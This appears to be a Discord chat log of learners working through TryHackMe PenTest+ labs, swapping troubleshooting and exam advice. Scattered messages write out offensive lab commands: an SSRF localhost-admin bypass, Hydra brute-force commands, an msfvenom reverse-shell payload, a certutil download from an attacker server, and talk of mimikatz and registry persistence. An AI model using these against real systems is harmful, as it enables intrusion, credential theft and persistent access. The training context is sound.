I did that and received the flag. What I mean is the extra challenge after that. Getting into the Admin Area.
apologise for the misunderstanding
so instead of pointing the server parameter to your attacking machine, we are going to point out to the admin page.. so generally admin pages can be accessed using only localhost. So change it to.. http://localhost:8087/admin ..
- lets try to delete the id parameter and send the request, but we get an error saying file not specified (assume there is a mechanism thats validating id parameter)
- So lets use '#' before the id parameter.. so it will go like this.. server=http://localhost:8087/admin#&id=something
This will not consider the part thats after the #. - If that still didnt work, lets try to encode the #, assuming that there might be a blacklist..
encoding # we get %23..
so the url goes some what like this
server=http://localhost:8087/admin%23&id=something
This will get the job done..
Try to understand the concepts and the mechanism.. We need to assume the mechanism used at the server side and perform the attacks.
thx for your help. shell i brute force the id. I tried 0 to 10 and always get pdf file encoded.
Gave +1 Rep to @cosmic pecan
You don't have to bruteforce the id parameter. You have to access the admin page.
You will find the flag once you access it
I am solving a lab called Phishing
And I am not getting the password back to answer the Question asked inside the lab.
Did you get it to work at all?
I have closed the machine
should I do it one more time
I'm not sure, I was just going to try it to see if I ran into the same issue as you
Okay
Please Let me know
Ya it worked for me
not to sound stupid, but did you hit refresh (the blue button, not the page refresh) at the top after a bit?
yes
Ya mine gave the password after a min
did you create the phishing email just like in the walkthrough? It said to craft a convincing one, so I wonder what would happen if it wasn't convincing haha
What have you written?
I wrote exactly what was in the walkthrough
Me too
Hmm. Not sure. Maybe try going back through it again. Maybe the server was being weird. I know the page froze once for me, i had to refresh and start over but luckily I was at the first step
I have done it more than 10 times
oh.. well hmm..
yup
If you're able and willing to, you can try screensharing while you do it and we can walk through together to see whats up
Glad we could get it working for you.
Mscteacher
Thank you!!
Gave +1 Rep to @keen dew
Guys, I don't understand, do people actually remember all this stuff? 😮
I barely remember anything from the rooms in this learning path
Ah, I overlooked the Prerequisites: "and have studied the theoretical knowledge in the CompTIA PenTest+ syllabus to complete this pathway."
You don't need to memorize these. Understanding it should be sufficient
Oh okay 🙂
Like a lot of stuff in the Compuitng / Cyber (and any engineering type job) understanding is the key.
Know what to do with the info when you get to it, know where to find it.
Learn it by heart when you got to go do a 100 multi guess Questions for a shiny cert haha.
I googled the error message and found the below -
Thanks I solved it, i just moved the python file to a different location and it works, no idea why
Gave +1 Rep to @vapid cipher
Repitition helps. For example I took a CEH (certified ethical hacking) course, then started this track while reading the ALL in One book to pass the cert exam. Doing this was a lot easier for me than taking the time to set up a home lab like I am supposed to do. Then I also found an 11hr PT+ video course on YouTube that reviewed some but also covered a LOT I had either missed, forgotten or never really understood. I have not finished the track here yet but I did squeak a pass on the PT+ exam last week so I can say there IS hope if you just stick with it & give it time to sink & --and keep repeating stuff.
Wow great job, and thanks for the motivation! I think I'm going to finish all Learning Paths on THM and then go over all of them again for a refresher
Gave +1 Rep to @wise haven
@fading tartan win some lose some. If you look back at a room & feel like some one else must have done it don't be shy about resetting the room progress & do it again. I just did a ctf over the weekend and way back at the beginning of my ceh labs I did a lab using sysinternals but drew a total blank on it in the heat of the ctf so I missed several flags that "should have" been gimmee's. TL:DR: forgetting stuff is 100% normal. Spaced repitition is one of the best ways to really learn & remember, meaning multiple repititions. Even if you are self study you can use quizlets free inline to review concepts chapter by chapter if you are more used to linear learnig.
OTOH, last year I got exact ONE flag at the same ctf. This year I got over 1000 pts. Not enough to move to the next round but a decent improvement.
Ive gone over windows persistance about 3x to create a writeup for my uni channel (obvs no flags) really enjoying the pathway. Persistence is a beast lol.
Really good advice here. Am pluggin away at PT+ pathway! Really enjoying it.
Ugh getting super stuck on this task in the OWASP top 10 - 2021 module! Can't figure out how to edit the cookies, there doesn't seem to be an option in firefox developer that i can see 😦
Anyone got a tip for me? really don't want to just lookup the answer!
ugh, finally i found the answer, double click it, there is no right click edit option like other browsers and older versions.
Ikr
I'm having issues with the Breaching Active Directory. Task 4. The rogue LDAP server isn't working.
Anyone with a clue on setting it up correctly? I followed the step as best as I could.
Not on there yet!
Oh well...guess I'll just move on to the next room till i have the patience to figure it out.
I so wish i could do that 🤣🤣🤣 i basically fixate on one till i complete it. Honwstly think this is an obsession 🤣
😂😂💔 I do that too and there's nothing wrong with being fixated on a particular issue till you solve it, but you need to know when you're going in circles and not getting anything done.
Yea i normally go to bed at that point cus id been on a box all night and cockerels calling 🤣
Had a couple days off from here as work is nuts atm. Plus Uni work and kids 🤣
😂 good times. Finally completed the room this morning. On to Linux PE.
Work is thankfully quiet this morning.....so am jumping on now 😁
Good luck...you got this!
on task 6/9 Windows Persistence weird somethings just clicked and realised - hold on im sending / receiving reverse shells to machines and its comfortable. Had a few issues with Tampering with Unprivileged Accounts tbh. It just didnt seeem to click for ages and then it did today and flew through the rest
Great! Have fun 😁 and don't forget that with great power comes great responsibility.
Meh....im only for the light side of the force anyways lol
Id like to be apart of the ones who catch the "other side" lol
LoL yeah, I mean...isn't that what we're learning for?
Dont know get the feeling not everybody is on that side of the fence lol. Disgruntled employees are a big problem!
I finished persistence. May jump on tonight tbh. It was fun in all fairness. Backdoorinng files is a good room
Does anyone know why the provided directory enum python script would give me this error? 'requests' has no attribute 'get'
This is for the Python for Pentesters room
I just did it from my own Kali vm. The AttackBox has a bunch of issues.
I found that on flag 13 of the registry task.
I followed everything to the tee, created a shell (correct LHOST + LPORT) Then sent the shell to the target machine and saved in C:\Windows - then put the filepath in the value of the reg entry - opened a nc listener on the same port as LPORT on the revshell.exe - signed out - reconnected and the shell let me in - travelled to C:\flags and ran the flag13.exe
Sorry it appears you are missing something..... 🤔🤔 it might be the machine itself so will try again today.
Try resseting the target and attack machines it may just be a bad session.
Im going to jump on in 20 mins. Ill let you know how it goes.
It was the previous machine - got the flag first time 🙂
Finished! AD next 👌
Yeah, it is. That part was fun.
Great! I'm occupied so I haven't gone far. Still at Linux PE. Keep me posted on your progress.
Will do.
The Breaching AD room NEEEEEEEDS time.
You have to do the room in one. And if you leave you need to start again 😬 so id set aside a good day for that room to give yourself time to complete and work through any issues.
The breaching room can be done in a day.
Alright.
Yeah, if you don't have other things going.
Hey, quick question on the wireshark section. Finding the aliens name in a text file. I have a text file with an alien image on it but i cant see a name...is this the correct text file? On the question before it was finding the text in packet 12, i followed the instructions had an image and went to the properties, copied in what i thought was the answer but it says incorrect. Any tips for either on these? Thanks
Don't have it in front of me but I think you have to scroll down.
IIRC, you either scroll down, or zoom out.
Maybe zoom out.
Thanks both, i did scroll down and there was a word like master or something in bold but it never had the correct amount of characters for the answer. Ill try again later on and let you know.
Anyone know the password for the Windows server VM CredsharvADV1 in Task 4 - Credential harvesting. Its blank fields for me under 'machine information'
Sorry, im not up to that point yet.
anyone done active reconnaissance yet?
task 6 I can not nc ip 21 at all
anyone had same issue?
Hey guys, can somebody share the comptia pentest+ practice papers ?
it on Cyber Vista
Thank you bro
Gave +1 Rep to @vast vector
anyone done nmap basic port scans taks 5?
there is no new port open. so whats the answer here?
Please help
Still need help?
I have this problem It doesnt accept my answer
Have you tried to retype the second -?
yes I did it and work thank you
can someone help me with governance and regulation in planning and scoping room? It is question 3 in NIST special publications
"Which phase (name) of NIST 800-53 compliance best practices results in correlating identified assets and permissions?" Answer format is 3 characters
i cannot figure it out for the life of me
false alarm i figured it out by rereading
If a AP has 802.11r, is it sure it broadcasts pmkid? If not, how does roaming work without pmkid?
Hello everyone, i was wondering. Is it possible to switch from a Powershell reverse shell to a cmd reverse shell ? If yes any advice on how to do it ? Thanks !
By 'switch', what do you mean exactly?
Hello 🙂 i mean to execute cmd commands from powershell
I am not really sure but on cmd itself you can execute the command named "runas " perhaps in powershell you can switch back to cmd using this
I believe the command is "runas /u:[Current-user] cmd.exe"
You would however need the password for this user
@willow berry
If the syntax is incorrect please google the correct one, I cant remember it out of the top of my head
Can anyone help with THC Hydra on Kali Linux?
What kind of help do you need?
I need help with a brute force attack in DVWA
It Keeps showing all of my passwords as valid
What tool are you using - hydra? And can you share your entire command?
I'm using Hydra
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt -u -f 127.0.0.0 -s 80 http-get-form "/DVWA/vulnerabilities/brute?:username=^USER^&password=^PASS^:F=<input name='Login'"
This syntax generates data, but it will go for hours (10 or more) and I don't see if the password was found
sudo hydra -l admin -P /usr/share/pswords.txt -u -f 127.0.0.0 -s 80 http-get-form "/DVWA/vulnerabilities/brute?:username=^USER^&password=^PASS^:F=<input name='Login'"
I created my own password list and it comes " 0 valid password found"
You don't need to add -s if the web page is running on port 80. Also, you don't need to add sudo to run hydra.
Are you sure you have the first parameter correctly (as it has ? at the end)? And the third parameter, it usually is for thr error message in case of incorrect login.
let me check
I have been trying several diffent ways to do this
hydra 127.0.0.0 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&Login=submit:Login failed" -l unames.txt -P pswords.txt
This one gives me this.....
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-12 21:18:53
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking http-post-form://127.0.0.0:80/DVWA/login.php:username=^USER^&password=^PASS^&Login=submit:Login failed
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Heroes
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: password
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Password
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: pass12345
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Save the Cheerleader
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Timex
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Boom
[80][http-post-form] host: 127.0.0.0 login: unames.txt password: Stealing Powers
1 of 1 target successfully completed, 8 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-12 21:18:54
Here is what I have from Burpsuite......
POST /DVWA/login.php HTTP/1.1
Host: 127.0.0.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://127.0.0.0
Connection: close
Referer: http://127.0.0.0/DVWA/login.php
Cookie: PHPSESSID=dh1h9ohncir26mhrr7p7f895aj; security=low
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=test&password=test&Login=Login&user_token=c06a3c7a4cee9d107f935c3c1f7e623e
You need to supply -l or -p if you are providing a name anf password, otherwise -L and -P will take a list and iterate using a combination of each.
If you are providing a list, make sure you provide the full or relative path, unless you are running hydra on the folder or directory where you have the user and password list.
I tried that to and it made all of my passwords valid
i had hydra -L /usr/share/unames.txt -P /usr/share/pswords.txt ........
It is due to one of your parameters being incorrect.
gotcha
I'm just not sure which one
hydra 127.0.0.0 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&Login=submit:Login failed" -l /usr/share/unames.txt -P /usr/share/pswords.txt
I just ran that one
You can refer to this to help you -
https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/
I'll check it out
You still having issues with hydra ? When the entire word list comes back valid it's usually because the failed login response is incorrect. What room are you in ?
Hi guys, I'm starting the Linux Privilege Escalation chapter and I'm trying to SSH to the Enumeration machine in Task 3 but the connection is hanging at debug1: SSH2_MSG_KEXINIT sent. Pinging the IP is successful. Any ideas?
Can you try adding -vv in your SSH command?
Yes that is how I saw the error to begin with 😅
Can you provide the link to the room as there are at least 4 Linux Priv Escalation rooms?
Thanks yeah I saw this same post earlier and tried running the dpkg-reconfigure command suggested in the first answer but it didn't seem to work.
I figured I'd check to see if I could connect to another THM box via SSH so I ran ssh -vv thm@THMJMP1.za.tryhackme.com in the Breaching AD room which I did yesterday and it is working and not seeing any visible differences in the debug info leading up to sending of the key exchange init.
You suggest moving the conversation over to that channel?
No, if you click on that, it will point you to the command you need to run to possibly resolve your issue.
Ok thanks, having a look now.
@vapid cipher lol it worked 🙌
Thanks for your help. I will be sure to check that channel if I ever run into anything like that again!
Just do a search on MTU across the discord and it should work.
Iam not sure Iam in the right room but, I have an issue, Iam doin the breaching AD room, and when I try to password spray its just not working, Error:
equests.exceptions.ConnectionError: HTTPConnectionPool(host='ntlmauth.za.tryhackme.com', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f805ddc4b38>: Failed to establish a new connection: [Errno -2] Name or service not known',))
I'm stumped. In rooms like Persisting Active Directory where you have to connect to the Persistingad network, I can't get nslookup thmdc.za.tryhackme.loc(or .com) to work.
Results: nslookup thmdc.za.tryhackme.loc
Server: 127.0.0.53
Address: 127.0.0.53#53
** server can't find thmdc.za.tryhackme.loc: NXDOMAIN
I got it to work on one of my Kali boxes on my laptop but not on my desktop. I tried to Google and GPT for help but I'm at a complete loss
Have you tried posting this in the #persisting-ad channel? You might get more feedback in there.
does any one how much Governance & Regulation is on the exam?
Have you referred to the exam syllabus?
not yet, do you have it?
It should be available in the CompTIA site.
ok thank you
hello, I am doing Windows- Lateral Movement and Pivoting-Abusing User Behaviour . I cannot get the credentials at http://distributor.za.tryhackme.com/creds_t2 to start the task. The network state is running and started. openvpn is on. Had no issues connected with the network until now. Cant connect to server...
Are you using the correct openvpn profile for the network? And did you add the IP address of THMDC to your dns server config? Oh, seems you've been able to connect up till now.. You might want to wait for the network to time out and go into Stopped state. Then Start the network fresh.
I went through this two days ago btw.
Hello, I'm having trouble in Credentials Harvesting. In Task 4, we are supposed to be able to move SAM and SYSTEM from the windows machine to Attack-box. Instructions say SCP should work. But I keep getting Permission Denied on my SCP command. I'm using the same credentials that I'm using to RDP to the VM.
cant even get the credentials from
http://distributor.za.tryhackme.loc/creds
Requesting Your Credentials
To simulate an AD breach, you will be provided with your first set of AD credentials. Once your networking setup has been completed, on your Attack Box, navigate to http://distributor.za.tryhackme.loc/creds to request your credential pair. Click the "Get Credentials" button to receive your credential pair that can be used for initial access.
so assume network needs ressetting
Which room/subnet?
I'm having similar issues with the Lateral Movement room, openvpn was working until this morning and now getting ERROR: Cannot ioctl TUNSETIFF lateralmovement: Device or resource busy (errno=16) tried using the attackbox, I can ssh into the jumpbox, but connection gets reset after about 10 secs and its super slow for that 10secs
hello champs
You can do this within the AttachBox after running the systemd-resolve command to enable DNS
how long does it take for Lateral Movement and Pivoting room network to reset?
Hello
hi, https://tryhackme.com/room/nmap01 the answers to the questions of task 7 are wrong.
Which question?
the accepted answers to the first two questions are reversed
Windows Local Persistence > Task 4
Running THMservice says: The service did not respond to the start or control request in a timely fashion.
Running THMservice2 says: The file or directory is corrupted and unreadable.
If I remember this one, I read that you'll have to complete it from the first one all the way to the end so you can't stop mid way and simply continue the remaining ones on the following day or session.
So i guess a few weeks won't work either 
Yeah, you gotta do it in one continuous session.
right, thanks man
Gave +1 Rep to @vapid cipher (current: #17 - 404)
I'm having an issue with the lateral movement and pivoting room. I am starting attack box inside the room and the network is up, but my attackbox apparently isnt on the same network as the room. I can't ping the DC and, understandably, when I run the command to configure the DNS I get the error "Unknown interface lateralmovement: No such device" is there a way to fix this or am i missing something?
Hi people, before moving to the Pentest+ path which paths should i have completed? Junior Pentester?
There is a recommended path here in the discord. Let me look for it.
Thank you
Thank @true frigate instead as its her recommendation.
Gave +1 Rep to @plucky vector (current: #2004 - 1)
haha
I'm doing the WIndows Local Persistence room right now, and in Task 4 i need to copy a payload to the windows machine. i tried a python webserver but the wget just shows "number of bytes read: 0"
so i tried to setup an smbshare to access the file which i can access from the windows machine, but the file doesn't get copied... running out of ideas anybody has a suggestion what i can try?
try certutil
how 😄 i never used it before
certutil -urlcache -split -f http://10.x.x.x:8000/path/to/your/file output_filename
otherwise just google it
thanks, will give it a try
Gave +1 Rep to @true frigate (current: #4 - 1649)
alternatively if your shell is powershell the wget command should work but you will need to specify the -O output_file for it to work as it is a alias to invoke-webrequest in windows
yeah i know. kinda strange the certutil executes completely but the created file is 0 bytes... not sure what i am missing.
are you specifying the right port
are you specifying the right ip
and the correct path for the file hosted using python -m http.server
yeah, also tried now scp file is found but doesn't copy at all just stays at 0 bytes.
can't even rdp into the machine. seems strange i think i'll grab something to eat and try again afterwards with a new machine.
or try the attackbox instead of my vm
@true frigate not sure why but from the attack box it worked without any problems. just wanted to let you know, got distracted before and tried just now.
I was following this step from Exploitation AD room and ran the mimikatz.exe from x64 and it throws this error. How can i fix thiss issue? please help me . I'm stuck at here
.\mimikatz.exe
Program 'mimikatz.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
-
.\mimikatz.exe
-
At line:1 char:1
-
.\mimikatz.exe
-
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException + FullyQualifiedErrorId : NativeCommandFailed
I am forgot in exploitAD or on other AD chall but i have the same error like you and try the 32bit and it’s run .
tysm bro
I ran 32bits too and thought it didn't work well. But now it worked somehow.
Hello!
Is there anyone who can help my why I can't delete SD registry in the WindowsLocalPersistent module Task 5, I have followed the instructions yet i get this error.
NCIIPC-AICTE with Government of India is organizing a Pentathon{Penetration Testing Hackathon} whose CTF Round 1 is going to start in next 1hr before midnight 12 and we need a partner who is familiar with CTF.He should be in a College(India) and college should be affilated to AICTE. Please don't hesitate to give me a call we are running out of time
https://www.comptia.org/certifications/pentest
Beta exam registration starts on May 24
Are there any requirements? I'd do it just for fun
No requirements. I'm doing SecurityX "CASP+" and Pentest+. I'm planning on passing the Pentest+ and just doing SecurityX for the experience.
SecurityX? That's new
Yes, the new name of the CASP+
I see. So that should renew sec+ and net+ unless rules changed as well
Yes, it will.
I might be hanging over here while I study using the path in THM. I hope I get to see you around.
Please vote for the resetting of AD network. It ain't workin' as expected
You can also give 1 vote for every hour I think.
No. 1 vote per paid THM user
No, one vote per hour for each user.
You can add 5 votes over 5 hours.
Des français pour faire du hacking ensemble ?
hi, English only this server please.
PenTest+ is a serious exam --- I passed the 1st time out --- you gotta get serious in organizing your notes, study questions, and frame of mind ... there is alot of situational questions that only an experienced pen tester would know ... always deduct down to 2 possible answers and really ask yourself which is correct by analyzing the question being asked ...
I'm taking the exam Monday. Any more wisdom you'd be willing to share?
good day am a newbies into pen-testing pls can someone give guidlines to follow on how i can i be a pen-tester also some necessary lesson i should take
also is the any necnecessary programming language i should learn
Do visit the #start-here channel.
Good luck, let me know how it goes.
How did it go?
Passed with 796
Congratulations 🎊 🎉
This is good news. I'm taking my exam in a couple of months! What would you rate Dioin training and THM training for Pentest+?
Posted my full experience here: https://www.reddit.com/r/CompTIA/comments/1d7fv3x/passed_the_pentest_pt0002_exam/
But the short version is that THM is great for hands on learning, especially the Nmap rooms because of how prevelant they are in the actual exam. I watched the Dion videos, but I was already about halfway through two study guides at that point, so it was a lot of review for me. I couldn't accurately say how well they work as a primary resources. If you're using Dion's 6 practice exams, those are awesome!
Hey is there anyone out for help? I'm having confusion in Attacks and Exploits > Lateral Movement and Pivoting > Task 3 > Let's Get to Work!
If the creds of target user's already given. Can't we simply SSH into it rather than complicating things like what's mentioned
Did you pass
steelmountain lab manual exploitation is not working. is't a bug or what ??
In which part are you? Are you using your VM or Attackbox?
@vapid cipher i'm at manual exploitation phase tried both VM and attackbox
exploit provided on tryhackme is not working i had to find new one https://www.exploit-db.com/exploits/49584 than only i was able to take reverse shell but not able to escalate to administrator
For which room?
Steel Mountain
Oh. that's common,
Oh.. the unquoted service path?
yes
Steel Mountain isn't in this path, which is why I was confused.
You generated the payload using msfvenom?
yes
Got the correct architecture?
system was 64bit
but i used the THM recommended msfvenom shell : msfvenom -p windows/shell_reverse_tcp LHOST=10.10.12.249 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
In which directory did you placed the payload?
Advanced SystemCare
later i was not able to stop the service AdvancedSystemCareService9
by sc stop AdvancedSystemCareService9
did you completed this lab if completed than when ??
i just want to know if there something wrong with this lab itself or something else
Its been months.. but definitely during the earlier part of the year, but got it working.
Aahh.. this is the reason why you can't run the exploit correctly. You need to stop and start the service to get the shell.
Do check the Sushant Windows privilege escalation cheat sheet if the steps listed there for unquoted service path (stopping and starting a service) would work.
Where can we have a cheat sheet Please?
This room https://tryhackme.com/r/room/burpsuitebasicsold in the Tools and Code Analysis module of the CompTia Pentest+ path should be updated to https://tryhackme.com/r/room/burpsuitebasics I believe.
You can do a Google search on Sushant Windows Privilege Escalation.
SQL injecting
Hi , I am stuck on Burp Suit: Basic, Track 13: Site Map and Issue Definitions. I did setup and following with firefox+burp settings, burp target scope, certification. But when I am targeting my attach machine IP address the website is not coming up. Any suggestion what should I try yet?
Are you using the correct IP?
Are you using HTTPS?
I am using attach machine address.
I tried both. But portswigger page coming up only.
Can I have the IP please?
Heyho,
In the AD persitence room i cant get mimikatz to work on the windows machine, everytime i start mimikatz the console doesnt react to anything anymore for now longer than 10 minutes
Does the mimikatz binary came with the room? Have you tried uploading a different binary for it?
Haven't done the room though, but that is what I would consider doing.
Try a different binary.
Yes it comes with the room
Try a different one.
In the windows local persistence room task 3 hijackink file associations does not seem to work when changing the txtfile registry value to what is given by those who wrote the room. For me it would only work if I removed the %1 (leaving 'powershell -windowstyle hidden [path to revers shell script]') which is supposed to pass a parameter to the ps script.
Just passed the Pentest+! with a 762
Hi anyone now why i cant crack with hashcat the Hash in breaching ad with the attackbox
Im using hachcat -m 5600 hash.txt Password.txt --force
Don't use --force
What is your command?
Hey! I'm starting to study for PenTest+ now and I'm planning on taking the exam by the end of April, should I prep for the 002 version or the 003?
What resources did you use, I’m thinking of doing pentest+ soon
I just did practise tests on udemy tbh
Just went in with prior knowledge from my job and some practise tests and did it in a day
Truthfully though I've not been finding thr cert very useful so far
Maybe look at the retirement date for 002? In any case, you couldn't go wrong with sitting for the new version 003.
It's retiring this June and the new version was released like two weeks ago so I just wasn't sure on what to do
Windows Local Persistence / Hijacking File Associations /
I have checked the script, it works. However, it does not run when opening a text file. I have followed the path and multiple walkthrough, I think it has something to do with the regedit command? anyone figure this out?
Windows Local Persistence / Creating Backdoor Service /
error:
Program 'rev-svc.exe' failed to run: The specified executable is not a valid application for this OS platform. At line:1 char: 1
PS C:\> sc.exe start THMservice2
[SC] StartService FAILED with error 216
Any ideas on this?
it seems maybe this room might need a re-fresh on the tutorial.
I can get the msfvenom powershell version to run and connect, however, the flag.exe file will say
Sorry! You are still missing something. No flag for you yet (1)
not sure what is expected here.
Which room 🙂 ?
Microsoft Local Persistence / Creating Backdoor Service
I was able to get it to work through a WINRM instance rather than the RDP instance. The path seems to allude to using the RDP instance for cmd, but I'm not really sure.
started doing this path today
knocked out the first 3 rooms. All pretty easy stuff.
Congrats , keep up the good work 🙂
🚀
Thanks! Wanted to get the easy stuff knocked out today. Did those 3 rooms, then knocked out the 3 windows and 3 linux fundamental rooms.
Gave +1 Rep to @languid summit (current: #2 - 2405)
Ill start up the Tools and Code Analysis Portion later today or tomorrow morning.
Mostly posting for my own accountability.
Keep up the good work 😄
finished Metasploit: Intro and Wireshark: The Basics
Goal for tomorrow is to finish the rest of this section.
Congrats , great job 🙂 🚀 . Keep up the good work 🙂 💪
finished burp suite and hydra. found the hydra stuff quite easy to grasp. burp suite went well but I ran into an issue in Task 10 that hung me up with getting the url to include after the ip. figured it out sort of but it was a struggle.
Python Basics and Python for Pentesters is left on the agenda for today. Mildly intimidated by it.
Congrats, great job 🙂 🚀
Didnt get to Python last night so doing it today.
Mostly continuing to post for my own accountability
Keep up the good work 🙂
Python for Pentesters finished. Took me an hour. I had to look up a couple of answers towards the end when being stumped. I'll have to dig deep later and go back over again to get a better understanding.
Is that common, that room just seemed so much more challenging than anything else.
Congrats , great job 🙂 🚀 .
Yeah , this a bit more advanced room 🙂
makes sense. the back half was demoralizing
Slow couple days but I've knocked out passive reconnaissance, active reconnaissance, and nmap live host discovery
Going to at the very least knock out: nmap basic port scans and nmap advanced port scans sometime today and maybe at the very least start attacks and exploits section
I also was finally able to get Kali running on VMWare Workstation Pro so I'm wanting to play around with that some too
Congrats , great job 🙂 🚀, keep going
.
I think all things considered I'm pacing pretty decent
These modules have been a good start
Yeah , you're doing great , making some pretty good progress 🙂 
Finished nmap basic port scans and nmap advanced port scans. Also knocked out http in detail.
Congrats , great job 🙂 🚀 
i'm having the darnedest problem with SCP..should i be using my tun0? i'm getting a connection refused via the tun0 - but the exploited windows box can't ping my vpn'd kali box..but the kali box and ping the windows box
Are you connected via vpn at all ?
👍
Hi, I'm working on https://tryhackme.com/room/breachingad but I'm stuck with a problem, which is the DNS configuration at the beginning. I'm using a VPS, and I followed the walkthrough and added <THM-PC> to /etc/resolv.conf. I even added a route pointing to the gateway of openvpn, but I still can't ping <THM-PC>. Does anyone have similar experience and can help me solve it?
I had the same problem, I have done it correctly and after 30min of waiting it finally worked.
Hi !
Im confuse about a room, the hydra's room https://tryhackme.com/room/hydra
I was trying to understand the Task 2 (Using Hydra) but im not quit sure what I need to do..
What exactly you don't understand 🙂 ?
I referred to the Task 1 video, which seems to be well explained. However, when I open the attack box, I follow the instructions to perform a "brute force attack" to answer Question 1.
So I use the following line of code: hydra -l molly -P /usr/share/wordlists 10.10.220.27 -t 4 ssh
which doesn't seem to be the same approach as the video.
And of course, it doesn't output anything at all.
I tried many things but nothing... Clearly I missed something
Can you provide a screenshot ?
You only specified the directory where the wordlists are, but did not put in which file hydra will use as the wordlist - /usr/share/wordlist
Very confused in Linux Priv Esc:PATH. Can someone help me understand where test comes from in /home/murdoch? Trying to follow along with the narrative, but it doesn't seem to work for either user without test, so I don't really understand it. Still researching/playing with it, but any help clarifying is greatly appreciated. TIA!
What do you mean test? Also, what room and/or task are you working on?
Can you share the link to the room you are working on?
Before going into the privesc part of PATH, have you read about environment variables?
Hey
Yeah?
Linux Priv Esc room, Task 10 PATH https://tryhackme.com/room/linprivesc. There is a file in /home/murdoch, called 'test', that needs to be used to complete the task. Why do we need to use the file instead of using the method shown in the text? How are we supposed to know that we need to use it and it isn't just a random file? Was it mentioned in the environment variables and I missed it? I plan to redo the room, but any clarification or points on what I missed are appreciated!
Can't remember this one so I'll have to check when I get the chance.
No rush, I was going to do a few other rooms in the meantime. Give it a few days to marinate before going back to it. I appreciate your time!
what room is it?
red team engagement
Yes but the engagement can’t end if post-exploitation is not fully done though
pentest +
I've been working on the Pentest+ path when my schedule allows for it. Hoping it will be enough to help me prepare for the exam!
Although it's a great resource I would still combine it with some additional resources like official exam documentation and maybe course ( many people suggest Professor Messer for Comptia certs. he has a bunch of free content on YT )
Good luck on your exam btw 🙂 🚀
Thank you! I was definitely planning on doing a bunch of practice tests online to see where I needed to improve.
pentest+ is actually theory, some companies may ask it but I it should have some practical scenarios too
What was the solution here?
Hello everyone. I am having issues Intercepting HTTP information with Burpsuite during the Juice Shop module. I tried using the AI assistant but still could not find how to fix it. I would appreciate any assistance. I am currently stock in the 3 task and I have not been able to proceed due to this situation.
Have you setup your Burp proxy? Are you using foxyproxy?
I am
The issue is solved so all good. It's just that Burpsuite doesn't display the requests right away
Takes a while to process. Maybe because I'm using AttactheBox
@daring shard can you shed some light?
Hey, each flag has a series of checks to ensure it's being run as expected. In this case, your console isn't being spawn by userinit
If you are doing all the flags one after the other, there's a chance you are catching the shell from another persistence method
I tried to kill the machine and start a new one
so only that would shell would return
let me know what should I do
btw pretty cool room!
It seems all is in order... Let me try to reproduce this
thank you!
It works from the attackbox
ok let me try again.
did you do anything else before adding the registry payload?
example: did you add any account?
No, I just followed the room instructions verbatim
I transfered the reverse shell via wget and copied it into C:\Windows
I edited the registry key
I then logged out and logged in and it popped
Note that if you try to manually run the reverse shell, it won't give you the flag. The flag needs to be run from a shell spawned from that specific persistence method
@daring shard Ok I see, definetly something I did before. Like adding something extra was causing issues
this time I only run those commands
@daring shard thank you.
Gave +1 Rep to @daring shard (current: #54 - 186)
hello guys, how can I do more exercises with inclusion file?
.
Have you done the free rooms in THM?
Hello, so far I've only done the premium rooms from LFI, what else do you recommend?
Try Include challenge room
ok,thx
thank you THM team ! and for helping me prepare for this one!
this is huge! Congrats
Ty
Gave +1 Rep to @naive marlin (current: #3192 - 1)
Great job congrats 🙂 🚀
I'm currently preparing for this exam. Besides the PenTest+ path, what rooms/paths/modules would you guys recommend to help me solidify my skills and knowledge for this exam? Thanks in advance!
Congrats! 🎉
Thanks
Gave +1 Rep to @stiff hearth (current: #3227 - 1)
Hey guys, I haven't done my A+ or Network+ yet. I wanted to know generally how long you have to study for the pentest plus exam and what the path is like 🙂
I need an intership for pentester
can someone assist with this please,
room: OWASP Juice Shop
Task: 7
Question #2: Perform a persistent XSS!
i did the task but the flag does not seem to show up
I would say pentest is a ways off for you if you have not done the A+ or Network+ stuf yet. I have been going on this for about a year and just failed my Pentest+ so for me this has been the only one I have had an issue with and I am back to square one on this.
During your test what were questioned on? My current studies and knowledge are based around both and ethical hacking but I would want to try and get a physical certificate.
It's bugged, please restart both the attack and target machine and give it another go, the flag should pop up, if it doesn't go ahead and refresh, let me know how it goes, I'm pretty sure I exprienced the same issue
You can go to the comptia site and they will have a list of all the objectives covered and what percentage of the test will pertain to what domain. I will tell you the comtia certmaster did not help me much at all. The test was a much higher level than what was covered. Also I had 6 PBQs but I didnt think they were super difiicult (of course I failed so take that for what it is worth). If I were you I would know the tools, the types of attacks (what tool for what the scenario is) and then look at different outputs from the tools and the scripts. I think that is where I missed the majority. There were some script/code questions that I know I missed.
I agree, without the foundational knowledge or experience under your belt, you will not be able to pass Pentest+, you'll have to do some serious studying. The THM Pentest+ Path is definitely a great way to learn a lot.
